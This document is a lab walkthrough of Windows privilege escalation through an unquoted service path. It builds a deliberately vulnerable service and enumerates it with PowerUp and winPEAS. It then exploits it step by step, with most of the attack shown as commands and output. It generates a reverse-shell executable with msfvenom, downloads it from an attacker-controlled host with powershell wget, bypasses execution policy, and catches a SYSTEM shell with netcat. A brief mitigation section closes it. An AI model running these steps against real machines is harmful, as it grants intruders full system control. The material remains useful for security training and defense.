

Windows Privilege Escalation

Unquoted Service Path

(Mitre ID:T1574.009)



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
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Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting the **Unquoted Service** path is one technique to increase privileges.

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for **NT AUTHORITY/SYSTEM** for a low-level privilege user account.



Introduction

Unquoted Service Path

If the path to the service binary is not enclosed in quotes and contains white spaces, the name of a loophole for an installed service is Service Unquoted Path. As a result, a local user will be able to elevate the privilege to administrator privilege shell by placing an executable in a higher level directory within the path.

Mitre ID: T1574.009

Tactics: Privilege Escalation & Persistence

Platforms: Windows

Vulnerability Insight

The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe

C:\Program Files\Ignite.exe

C:\Program Files\Ignite Data\Vuln.exe

C:\Program Files\Ignite Data\Vuln Service\file.exe

Prerequisite

Target Machine: Windows 10



Attacker Machine: Kali Linux

Tools: SubinACL, PowerUP.ps1, Winpeas.

Condition: Compromise the target machine with low privilege access either using Metasploit or Netcat,

etc.

Objective: Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting unquoted

path Vulnerability.

Lab Setup

To set up a vulnerable environment for Unquoted Path, we need user accounts. Here we have user "ignite" who is a member of the Administrator group and "Shreya" who is a member Users group.

net user ignite net user shreya



```
C:\Users\ignite>net user ignite
                              ignite
User name
Full Name
                              ignite
Comment
User's comment
Country/region code
                              000 (System Default)
Account active
                              Yes
Account expires
                              Never
Password last set
                              7/27/2021 5:59:21 PM
Password expires
                              Never
                              7/27/2021 5:59:21 PM
Password changeable
Password required
                              Yes
User may change password
                              Yes
Workstations allowed
                              A11
Logon script
User profile
Home directory
Last logon
                              10/7/2021 11:56:51 AM
Logon hours allowed
                              A11
Local Group Memberships
                              *Administrators
                                                     *Remote Management Use
Global Group memberships
The command completed successfully.
C:\Users\ignite>net user shreya 🔫
User name
                              shreya
Full Name
                              shreya
Comment
User's comment
Country/region code
                              000 (System Default)
Account active
                              Yes
Account expires
                              Never
Password last set
                              10/7/2021 8:37:38 AM
Password expires
                             Never
Password changeable
                              10/7/2021 8:37:38 AM
Password required
                              Yes
User may change password
                              Yes
Workstations allowed
                              A11
Logon script
User profile
Home directory
Last logon
                              Never
Logon hours allowed
                              All
                              *Users
Local Group Memberships
Global Group memberships
                              *None
The command completed successfully.
```

Steps to Setup Vulnerable Environment

Step1: Create a new folder and Sub Folder and named it "Ignite Data" & "Vuln Service" respectively

mkdir "C:\Program Files\Ignite Data\Vuln Service"



Step2: Create vulnerable service with name file.exe

sc create "vulns" binpath= "C:\Program Files\Ignite Data\Vuln Service\file.exe" start= auto

```
c:\>mkdir "C:\Program Files\Ignite Data\Vuln Service"
c:\>sc create "vulns" binpath= "C:\Program Files\Ignite Data\Vuln Service\file.exe" start= auto
[SC] CreateService SUCCESS
```

Step3: Grant writeable for BUILTIN\Users on Ignite Data folder with the help of icacls

icacls "C:\Program Files\Ignite Data" /grant "BUILTIN\Users":W

*icacls is Microsoft Windows native command-line programmes that can display and modify permissions on directories and files.

```
c:\>icacls "C:\Program Files\Ignite Data" /grant "BUILTIN\Users":W
processed file: C:\Program Files\Ignite Data
Successfully processed 1 files; Failed processing 0 files
```

Step4: To create a vulnerable service we need to assign some toxic privilege with the help of **SubinACL** to change the permission of services.

NOTE:

SubInACL is a little-known command-line tool from Microsoft, yet it is one of the best tools to work with security permissions in Windows. This tool is capable of changing the permissions of files, folders, registry keys, services, printers, cluster shares, and various other types of objects.

In this case, we have granted a user permissions to suspend (pause/continue), start, and stop (restart) a service. The full list of the available service permissions:

Step5: After downloading SubinACL, execute the following command to assign **PTO Permissions** user "ignite" against the "Pentest" service.

subinacl.exe /service vulns /grant=msedgewin10\shreya=PTO

```
C:\Program Files (x86)\Windows Resource Kits\Tools>subinacl.exe /service vulns /grant=msedgewin10\shreya=PTO vulns : new ace for msedgewin10\shreya vulns : 1 change(s)

Elapsed Time: 00 00:00:00

Done: 1, Modified 1, Failed 0, Syntax errors 0

Last Done : vulns
```

Abusing Unquoted Service Paths

Abusing unquoted service is a technique that exploits insecure file permission in order to escalate privileges for local users. Download the PowerUp.ps1 script inside Kali Linux which will return the name and binary path for services with unquoted paths that also have a space in the name.



wget https://githubusercontent.com/PowerShellMafia/PowerSploit/master /Privesc/PowerUp.ps1 python -m SimpleHTTPServer 80

```
(root theli)-[~/privs]
west https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
--2021-10-07 15:49:43-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.101.:
Connecting to raw.githubusercontent.com (raw.githubusercontent.com) | 185.199.108.133 | :443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 600580 (587K) [text/plain]
Saving to: 'PowerUp.ps1'

PowerUp.ps1 100%[
2021-10-07 15:49:44 (3.72 MB/s) - 'PowerUp.ps1' saved [600580/600580]

(root kali)-[~/privs]
python -m SimpleHTTPServer 80 ---
Serving HTTP on 0.0.0.0 port 80 ...
```

Get the initial access of the target machine and transfer the PowerUp.ps1 and execute the Get-UnquotedService command that will use Get-WmiObject to query all win32_service objects and extract out the binary pathname for each. Then check if any binary paths have a space and aren't quoted.

```
nc -lvp 1245
powershell
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1
powershell -ep bypass
Import-Module .\PowerUp.ps1
Get-UnquotedService
```

As result, we have enumerated the path for file.exe as highlighted in the below image.



```
lvp 1245
listening on [any] 1245 ...
192.168.1.145: inverse host lookup failed: Unknown host
connect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49782
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\shreya\Downloads>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\shreya\Downloads> wget http://192.168.1.3/PowerUp.ps1 -o PowerUp.ps1 🕶
wget http://192.168.1.3/PowerUp.ps1 -o PowerUp.ps1
PS C:\Users\shreya\Downloads> powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\shreya\Downloads> Import-Module .\PowerUp.ps1
Import-Module .\PowerUp.ps1
PS C:\Users\shreya\Downloads> Get-UnquotedService
Get-UnquotedService
ServiceName
               : vulns
               : C:\Program Files\Ignite Data\Vuln Service\file.exe
Path
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                 Permissions=AppendData/AddSubdirectory}
               : LocalSystem
StartName
AbuseFunction : Write-ServiceBinary -Name 'vulns' -Path <HijackPath>
CanRestart
               : True
Name
               : vulns
ServiceName
               : vulns
               : C:\Program Files\Ignite Data\Vuln Service\file.exe
Path
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permis
StartName
               : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'vulns' -Path <HijackPath>
CanRestart
               : True
Name
               : vulns
ServiceName
             : vulns
               : C:\Program Files\Ignite Data\Vuln Service\file.exe
Path
ModifiablePath : @{ModifiablePath=C:\Program Files\Ignite Data; IdentityReference=BUILTIN\Users;
                 Permissions=System.Object[]}
               : LocalSystem
StartName
                 Write-ServiceBinary -Name 'vulns' -Path <HijackPath>
AbuseFunction
CanRestart
                : True
Name
                 vulns
```

From above, we enumerate three subdirectories: "Program Files," "Ignite Data," and "Vuln Service," and for each directory, we use icacls to check permissions.

```
icacls "C:\Program Files"
icacls "C:\Program Files\Ignite Data"
icacls "C:\Program Files\Ignite Data\Vuln Service"
```

Here we found BUILTIN\Users owns writable permissions against "Ignite Data"



```
S C:\Users\shreya\Downloads> icacls "C:\Program Files"
 icacls "C:\Program Files"
 C:\Program Files NT SERVICE\TrustedInstaller:(F)
                               NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                               NT AUTHORITY\SYSTEM:(M)
                               NT AUTHORITY\SYSTEM:(0I)(CI)(I0)(F)
                               BUILTIN\Administrators:(M)
                               BUILTIN\Administrators:(0I)(CI)(I0)(F)
                               BUILTIN\Users:(RX)
                              BUILTIN\USers:(RX)
BUILTIN\USers:(RX)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
PS C:\Users\shreya\Downloads> icacls "C:\Program Files\Ignite Data"
icacls "C:\Program Files\Ignite Data"
C:\Program Files\Ignite Data BUILTIN\Users:(W)
                                                   NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                    NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
                                                    BUILTIN\Administrators:(I)(0I)(CI)(I0)(F)
                                                    BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(0I)(CI)(I0)(GR,GE)
                                                    APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                                    APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(0I)(CI)(
Successfully processed 1 files; Failed processing 0 files
PS C:\Users\shreya\Downloads> icacls "C:\Program Files\Ignite Data\Vuln Service"
icacls "C:\Program Files\Ignite Data\Vuln Service"
C:\Program Files\Ignite Data\Vuln Service NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
                                                                           BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(0I)(CI)(I0)(F)
                                                                           BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(0I)(CI)(I0)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(I0)(F)
                                                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI
                                                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES
                                                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES
```

Using auto script WinPEASx64 we enumerate the suspicious file and folder for the unquoted path.

winPEASx64.exe quiet servicesinfo

```
c:\Users\shreya\Downloads>winPEASx64.exe quiet servicesinfo
winPEASx64.exe quiet servicesinfo
```

As result, it is shown the same as above.

```
vm3dservice(VMware, Inc. - VMware SVGA Helper Service)[C:\Windows\system32\vm3dservice.exe] - Auto - Running Helps VMware SVGA driver by collecting and conveying user mode information

VMTools(VMware, Inc. - VMware Tools)["C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"] - Auto - Running Provides support for synchronizing objects between the host and guest operating systems.

vulns(vulns)[C:\Program Files\Ignite Data\Vuln Service\file.exe] - Auto - Stopped - No quotes and Space detected
```



It's time to exploit the weak configured services against unquoted paths in order to privilege for user Shreya. As we know unquoted folder name is Vuln Service thus we will create a file with the name Vuln.exe with the help of msfvenom.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > Vuln.exe python -m SimpleHTTPServer 80

```
(root © kali)-[~/exploit]
    m msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > Vuln.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

(root © kali)-[~/exploit]
    m python -m SimpleHTTPServer 80 -m
Serving HTTP on 0.0.0.0 port 80 ...
```

Start a fresh Netcat listener in a new terminal and transfer the Vuln.exe onto the target machine's "Ignite Data" folder. Since Shreya is a member of BUILTIN/Users has writable permission for "Ignite Data, and restarting the service will result in a reverse connection.

cd c:\Program Files\Ignite Data
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
net start vulns

```
c:\Users\shreya\Downloads>cd c:\Program Files\Ignite Data
cd c:\Program Files\Ignite Data
c:\Program Files\Ignite Data>powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
c:\Program Files\Ignite Data>net start vulns
net start vulns
```

As soon as the service will launch, the attacker will get a reverse connection in the new netcat session as NT Authority \system

nc -lvp 8888 whoami



```
(root@ kali)-[~]
    nc -lvp 8888
listening on [any] 8888 ...
192.168.1.145: inverse host lookup failed: Unknown host connect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49944
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
    nt authority\system

C:\Windows\system32>
```

Even if the user has the option to restart the system, this approach will automatically restart the Vuln.exe service, which will offer a reverse connection.

shutdown /r /t 0

As soon as the service will launch, the attacker will get a reverse connection in the new netcat session as NT Authority \system

nc -lvp 8888

```
(root⊕ kali)-[~]

# nc -lvp 8888
listening on [any] 8888 ...
192.168.1.145: inverse host lookup failed: Unknown host connect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49669
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Mitigation

Vulnerability Solution: Ensure that any services that contain a space in the path enclose the path in quotes.

Restrict File and Directory Permissions: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts

Execution Prevention: Block execution of code on a system through application control, and/or script blocking.





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